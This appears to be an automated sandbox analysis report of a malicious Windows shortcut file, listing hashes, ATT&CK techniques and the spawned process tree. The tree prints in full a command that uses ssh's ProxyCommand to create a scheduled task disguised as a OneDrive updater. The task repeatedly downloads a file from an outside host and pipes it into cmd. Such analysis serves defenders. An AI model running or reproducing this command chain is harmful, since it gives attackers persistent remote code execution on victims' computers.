18754374691d591315370ed114493b9995954f01bf43452df0af30d69a1670c6

General

Target

18754374691d591315370ed114493b9995954f01bf43452df0af30d69a1670c6.lnk
Size

245KB
MD5

0290bfd06ee52af334e6cd17bb03542a
SHA1

fb43ac19f177acb3cc7cd74155671733185339b6
SHA256

18754374691d591315370ed114493b9995954f01bf43452df0af30d69a1670c6
SHA512

e0647f45fbf606fbf0d7dd5737c2c4d6794e7ed6322f05b1803b3f9011fcc33c29519e44715b13da96bc49fed564d79c2f5fe54b56d4f4779ebeb6fdccf6ccd1
SSDEEP

6144:XBRWbjpVO9Ko6pGKlt9Z6v+iEpgnXtP2gUly2ukiT:XiPho60Kt9ZylBnXteDlXs

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5048	conhost.exe
3896	ssh.exe
768	cmd.exe
4368	PING.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4860	timeout.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4368	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2492	schtasks.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 5048	1672	cmd.exe	84
PID 1672 wrote to memory of 5048	1672	cmd.exe	84
PID 5048 wrote to memory of 3896	5048	conhost.exe	85
PID 5048 wrote to memory of 3896	5048	conhost.exe	85
PID 3896 wrote to memory of 768	3896	ssh.exe	86
PID 3896 wrote to memory of 768	3896	ssh.exe	86
PID 768 wrote to memory of 4368	768	cmd.exe	87
PID 768 wrote to memory of 4368	768	cmd.exe	87
PID 768 wrote to memory of 4860	768	cmd.exe	90
PID 768 wrote to memory of 4860	768	cmd.exe	90
PID 768 wrote to memory of 2492	768	cmd.exe	91
PID 768 wrote to memory of 2492	768	cmd.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\18754374691d591315370ed114493b9995954f01bf43452df0af30d69a1670c6.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1672
- C:\WINDOWS\system32\conhost.exe
  "C:\WINDOWS\system32\conhost.exe" --headless ssh -o ProxyCommand="cmd /c ping www.google.com > nul & timeout /t 3 & schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr \"conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.surininfiniumclub.com/debug.php?us=HVDPCYGS_Admin & more C:\Users\Public\documents\tmp.jpg | cmd\" " .
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\System32\OpenSSH\ssh.exe
    ssh -o "ProxyCommand=cmd /c ping www.google.com > nul & timeout /t 3 & schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr \"conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.surininfiniumclub.com/debug.php?us=HVDPCYGS_Admin & more C:\Users\Public\documents\tmp.jpg | cmd\" " .
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c ping www.google.com > nul & timeout /t 3 & schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr "conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.surininfiniumclub.com/debug.php?us=HVDPCYGS_Admin & more C:\Users\Public\documents\tmp.jpg | cmd"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:768
    - - C:\Windows\system32\PING.EXE
        
        ping www.google.com
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4368
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4860
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr "conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.surininfiniumclub.com/debug.php?us=HVDPCYGS_Admin & more C:\Users\Public\documents\tmp.jpg | cmd"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2492